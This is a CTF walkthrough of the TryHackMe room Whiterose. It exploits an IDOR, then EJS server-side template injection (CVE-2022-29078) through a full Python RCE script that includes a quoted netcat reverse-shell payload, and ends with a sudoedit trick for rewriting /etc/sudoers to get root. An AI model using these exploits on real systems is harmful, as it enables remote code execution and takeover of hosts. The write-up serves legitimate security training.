Whiterose
Yet another Mr. Robot themed challenge.
Introduction
Hello everyone, today we will be taking a look at Whiterose, an Easy rated room on TryHackMe. We will explore the exploitation of a vulnerable Express.js webapp through IDOR and SSTI, before moving on to the privilege escalation phase. Let’s get started !
- Enumeration
- Exploitation
- Privesc
Enum
Portscan
Let’s start with a basic portscan. I like to go with rustscan cause it’s quite fast. As always, I go with service version
enumeration and output normal
options:
1
rustscan -a $TARGET -- -sV -oN all_ports.txt
1
2
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.14.0 (Ubuntu)
What do we learn from this portscan ?
- The target is likely running linux
- SSH and HTTP are running
HTTP (80)
Usually, SSH isn’t a primary target in CTFs, unlike HTTP, so let’s start with that.
It’s trying to redirect us to a domain.
I added this domain to my /etc/hosts
file with this bash one-liner:
1
sudo bash -c 'echo "10.10.181.178 cyprusbank.thm" >> /etc/hosts'
Accessing the index page of the new domain.
But still nothing interesting.
Directory Fuzzing
I thought maybe trying some directory fuzzing could be a good idea. You can use whatever tool you like (gobuster, dirbuster, dirb…). I’ll go with ffuf:
1
2
3
ffuf -u "http://cyprusbank.thm/FUZZ" -w /usr/share/wordlists/common.txt
index.html [Status: 200, Size: 252, Words: 19, Lines: 9, Duration: 368ms]
1
2
3
ffuf -u "http://cyprusbank.thm/FUZZ" -w /usr/share/wordlists/big.txt
// nothing found
I tried the common.txt and big.txt wordlists from dirb
, but I still didn’t find anything.
Virtual Host fuzzing
Since we have a domain name, trying virtual host fuzzing might be a good idea. I’ll go with wfuzz but you can use ffuf or gobuster as mentioned in the article.
1
2
wfuzz -u cyprusbank.thm -H "Host: FUZZ.cyprusbank.thm" \
-w /opt/seclists/Discovery/DNS/subdomains-top1million-5000.txt
Getting the number of words in the response.
As you may have noticed, wfuzz
shows a different number of words in the response depending on whether the tested domain is an existing virtual host or not. Since we know that a non-existent subdomain returns 3
words, we can ask wfuzz
to hide all the responses that contain 3
words
1
2
3
wfuzz -u cyprusbank.thm -H "Host: FUZZ.cyprusbank.thm" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
--hw 3
Hiding responses that contains 3 words.
Admin Subdomain
Okay, so wfuzz
found 1
new interesting subdomain (since www
is usually not interesting). Let’s add it to our /etc/hosts
file:
1
sudo bash -c 'echo "10.10.181.178 admin.cyprusbank.thm" >> /etc/hosts'
And access it from our browser:
User access
The challenge says
And oh! I almost forgot! - You will need these:
Olivia Cortez:olivi8
These credentials are probably provided so we can log in here. After logging in as Olivia Cortez
, we are greeted with this page:
After clicking around and exploring the website, I made this table:
Page name | What does it do | Potential vulnerabilities |
---|---|---|
/ | Show recent payments | N/A (static page) |
/search | Search for a bank account | searchbar → XSS,SQLI,SSTI |
/settings | We don’t have permissions | N/A |
/messages/?c=INT | Show/Send messages | c=INT → IDOR, SQLI |
chat → SSTI,XSS,SQLi |
Since we’re still in the enumeration phase let’s focus on testing the IDOR for now.
Here is the /message
page:
The url carries a query parameter
named c
, with a default value of 5
. Let’s test if it’s vulnerable to an IDOR by incrementing this number. I’ll set it to 1000:
1
Gayle Bev:p~]P@5!6;rs558:q
Admin access
After logging in with these credentials, I tried accessing the /settings
page.
I attempted to change the password of some accounts, but it didn’t work. This probably means we HAVE to exploit this page (the authors wouldn’t have created/protected it with admin privilegess otherwise) but via other vectores.
I tried some XSS payloads, but they didn’t work. I also tried SQLmap to check for SQL injection but found nothing. I was quite certain it was an SSTI. So, I started looking around to try to identify the template engine.
We know that the backend is written using Express.js
Identifying the template engine
After a quick googling search I found this on the Express.js documentation:
The Express application generator uses Pug as its default, but it also supports Handlebars, and EJS, among others.
That’s not really helpful … We need to know which template engine is used before exploiting it. So I thought: could we make it crash somehow ? Let’s try submitting the form at /settings
without supplying any data (no name, no password).
1
2
3
curl -X POST http://admin.cyprusbank.thm/settings \
--cookie "connect.sid=s%3AJMq02Cp0CBuP_l8pVqYiIbELNrOjtj_5.nIQtTw015tEtvp2t8PbD%2BDIU%2BQQjebdpolEfR6B7zwM" \
-d ""
1
<div class="alert alert-info mb-3">Please enter a valid name</div>
There is probably an initial filter that says, “If there is no name, show this div and exit”. Therefore, we need to provide a name to bypass this first check:
1
2
3
curl -X POST http://admin.cyprusbank.thm/settings \
--cookie "connect.sid=s%3AJMq02Cp0CBuP_l8pVqYiIbELNrOjtj_5.nIQtTw015tEtvp2t8PbD%2BDIU%2BQQjebdpolEfR6B7zwM" \
-d "name=a"
I use the http
command from httpie for the screenshot cause it has cool syntax highlighting that makes the output more readable
We know that it’s EJS, let’s try to find some CVEs !
Looking for vulnerabilities
I looked for EJS
on cve.mitre.org and found a few interesting CVEs:
CVE | Type | Link |
---|---|---|
CVE-2024-33883 | Prototype pollution | cve.org |
CVE-2023-29827 | SSTI | cve.org |
CVE-2022-29078 | SSTI | cve.org |
CVE-2017-1000228 | RCE | cve.org |
Exploitation
CVE-2024-33883
After searching a bit I found this poc that states:
Attack available condition
- Needs control of render().
- Needs control of prototype pollution attack vector.
- Above two condition holds, RCE attack is available.
I don’t think we have control of a prototype pollution attack vector. It’s an easy room, searching for a prototype pollution in an easy room seems highly improbable. Let’s move on.
CVE-2023-29827
After searching for POCs on github I came across this repo, the author says that there is no POC for this CVE. Let’s move on.
CVE-2022-29078
On the CVE Program section of the CVE.org page, there is a link pointing to a blog post of the guy who found the CVE. I read it and thought let’s give it a try.
Writing a script
So I wrote a POC in python
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from requests import Session
from sys import argv
def main(url="http://admin.cyprusbank.thm",
username="Gayle Bev",
password="p~]P@5!6;rs558:q"):
session = Session()
command = argv[1]
# Login
session.post(f"{url}/login", data={
"username": username,
"password": password,
})
# In this page: https://eslam.io/posts/ejs-server-side-template-injection-rce/
# we see this payload: http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s
# It is used with the GET method. Let's adapt it for the POST method:
# Sending the malicious post request
print(session.post(f"{url}/settings", data={
"name": "a",
"password": "a",
"settings[view options][outputFunctionName]": f"x;process.mainModule.require('child_process').execSync('{command}');s"
}).text)
if __name__ == "__main__":
if(len(argv) == 1):
print(f"[!] Usage: {argv[0]} <COMMAND>")
exit()
main()
Getting RCE
First we need to validate that the running EJS
version is affected by this CVE
:
Testing to send the output of ls
through netcat
Cool ! We have an RCE, and we know that netcat is working. Let’s try to get a reverse shell with netcat then:
Privesc
I always start with manual privesc, then run automated scripts. I start with the basics, like sudo -l
, searching for SUID
binaries, and so on. You can find more in-depth manual privesc techniques for Linux here
sudo -l
Sudoedit
After some googling, I found an interesting exploit that affects sudoedit
:
Here is the interesting part of the poc (foundable here):
1
2
3
EXPLOITABLE=$(sudo -l | grep -E "sudoedit|sudo -e" | grep -E '\(root\)|\(ALL\)|\(ALL : ALL\)' | cut -d ')' -f 2-)
EDITOR="vim -- /etc/sudoers" $EXPLOITABLE
sudo su root
The script tries to identify which command we’re allowed to run with sudo privileges, then run vim -- /etc/sudoers the_extracted_command
. I tried running the script, but it didn’t work … Let’s do it manually:
1
EDITOR="vim -- /etc/sudoers" sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm
And it worked ! It opened the sudoers
file, which I edited as follows: